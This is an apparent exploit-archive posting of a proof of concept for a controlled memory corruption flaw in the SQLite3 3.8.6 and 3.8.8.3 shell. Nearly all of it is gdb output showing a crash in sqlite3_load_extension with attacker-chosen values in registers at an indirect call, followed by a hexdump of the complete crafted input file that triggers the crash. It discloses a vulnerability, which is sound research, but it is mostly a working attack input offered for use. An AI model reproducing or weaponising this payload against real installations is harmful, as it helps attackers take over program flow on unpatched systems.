SQLite3 3.8.6 - Controlled Memory Corruption PoC

# Exploit Title: SQLite3 controlled memory corruption PoC (0day)
# Date: [date]
# Exploit Author: Andras Kabai
# Vendor Homepage: http://www.sqlite.org/
# Software Link: http://www.sqlite.org/download.html
# Version: 3.8.6, 3.8.8.3
# Tested on: Ubuntu 14.10, 64 bit 3.8.6 (latest available package), 3.8.8.3 (built from the latest source code)
 
Using a crafted input (e.g. from a malicious file via “-init” parameter or directly given to the std input of the program) it is possible to trigger a memory corruption vulnerability in the most recent version of SQLite3. The memory corruption could be controlled, therefore the program flow could be manipulated by the attacker.
 
The following sections demonstrates the attack against the apt-get installed installed and updated sqlite3 and against a newer version that is built from source.
 
====
 
[email protected]:~/issues/sqlite$ which sqlite3
/usr/bin/sqlite3
[email protected]:~/issues/sqlite$ /usr/bin/sqlite3 -version
3.8.6 2014-08-15 11:46:33 9491ba7d738528f168657adb43a198238abde19e
[email protected]:~/issues/sqlite$ gdb64 /usr/bin/sqlite3
GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvs
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/bin/sqlite3...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) set args < sqlitepoc.txt
(gdb) r
Starting program: /usr/bin/sqlite3 < sqlitepoc.txt
warning: the debug information found in "/lib64/ld-2.19.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch).
 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Usage: .trace FILE|off
Error: near line 4: near "whatever": syntax error
Usage: .trace FILE|off
 
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7ba06a0 in sqlite3_load_extension () from /usr/lib/x86_64-linux-gnu/libsqlite3.so.0
(gdb) i r
rax            0x138    312
rbx            0x41414141424242 18367622009733698
rcx            0x7fffffffb590   140737488336272
rdx            0x0  0
rsi            0x555555779b43   93824994483011
rdi            0x41414141424242 18367622009733698
rbp            0x555555779b43   0x555555779b43
rsp            0x7fffffffb4c0   0x7fffffffb4c0
r8             0x555555779b41   93824994483009
r9             0x6c 108
r10            0x0  0
r11            0x0  0
r12            0x555555779b48   93824994483016
r13            0x7fffffffb590   140737488336272
r14            0x555555779b40   93824994483008
r15            0x2  2
rip            0x7ffff7ba06a0   0x7ffff7ba06a0 <sqlite3_load_extension+736>
eflags         0x10246  [ PF ZF IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) disas $rip,+10
Dump of assembler code from 0x7ffff7ba06a0 to 0x7ffff7ba06aa:
=> 0x00007ffff7ba06a0 <sqlite3_load_extension+736>:    call   QWORD PTR [rbx+0x48]
   0x00007ffff7ba06a3 <sqlite3_load_extension+739>:   mov    r15,rax
   0x00007ffff7ba06a6 <sqlite3_load_extension+742>:   lea    rax,[rip+0x12bc1]        # 0x7ffff7bb326e
End of assembler dump.
 
===
 
[email protected]:~/tmp/build/sqlite-autoconf-3080803/.libs$ ./lt-sqlite3 -version
3.8.8.3 2015-02-25 13:29:11 9d6c1880fb75660bbabd693175579529785f8a6b
[email protected]:~/tmp/build/sqlite-autoconf-3080803/.libs$ gdb64 ./lt-sqlite3
GNU gdb (Ubuntu 7.8-1ubuntu4) 7.8.0.20141001-cvs
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./lt-sqlite3...done.
(gdb) set disassembly-flavor intel
(gdb) set args < /home/andrew/issues/sqlite/sqlitepoc.txt
(gdb) r
Starting program: /home/andrew/tmp/build/sqlite-autoconf-3080803/.libs/lt-sqlite3 < /home/andrew/issues/sqlite/sqlitepoc.txt
warning: the debug information found in "/lib64/ld-2.19.so" does not match "/lib64/ld-linux-x86-64.so.2" (CRC mismatch).
 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Usage: .trace FILE|off
Error: near line 4: near "whatever": syntax error
Usage: .trace FILE|off
 
Program received signal SIGSEGV, Segmentation fault.
sqlite3LoadExtension (pzErrMsg=0x7fffffffb510, zProc=0x0, zFile=0x6261c3 "CCCCBBBBAAAA", db=0x6261c8) at sqlite3.c:36169
36169         }
(gdb) i r
rax            0x138    312
rbx            0x41414141424242 18367622009733698
rcx            0x7fffffffb510   140737488336144
rdx            0x0  0
rsi            0x6261c3 6447555
rdi            0x41414141424242 18367622009733698
rbp            0x6261c3 0x6261c3
rsp            0x7fffffffb440   0x7fffffffb440
r8             0x6261c1 6447553
r9             0x6c 108
r10            0x7fffffffb270   140737488335472
r11            0x7ffff7b5ae50   140737349267024
r12            0x6261c8 6447560
r13            0x7fffffffb510   140737488336144
r14            0x6261c0 6447552
r15            0x2  2
rip            0x7ffff7b5b130   0x7ffff7b5b130 <sqlite3_load_extension+736>
eflags         0x10246  [ PF ZF IF RF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) disas $rip,+10
Dump of assembler code from 0x7ffff7b5b130 to 0x7ffff7b5b13a:
=> 0x00007ffff7b5b130 <sqlite3_load_extension+736>:    call   QWORD PTR [rbx+0x48]
   0x00007ffff7b5b133 <sqlite3_load_extension+739>:   mov    r15,rax
   0x00007ffff7b5b136 <sqlite3_load_extension+742>:   lea    rax,[rip+0x587d8]        # 0x7ffff7bb3915
End of assembler dump.
 
====
 
[email protected]:~/issues/sqlite$ hexdump -C sqlitepoc.txt
00000000  3b 0a 2e 74 20 78 0a 2e  74 0a 77 68 61 74 65 76  |;..t x..t.whatev|
00000010  65 72 00 0a 3b 0a 2e 74  0a 2e 6f 70 0a 2e 6c 20  |er..;..t..op..l |
00000020  43 43 43 43 42 42 42 42  41 41 41 41 0a           |CCCCBBBBAAAA.|
0000002d

#  0day.today [2018-04-14]  #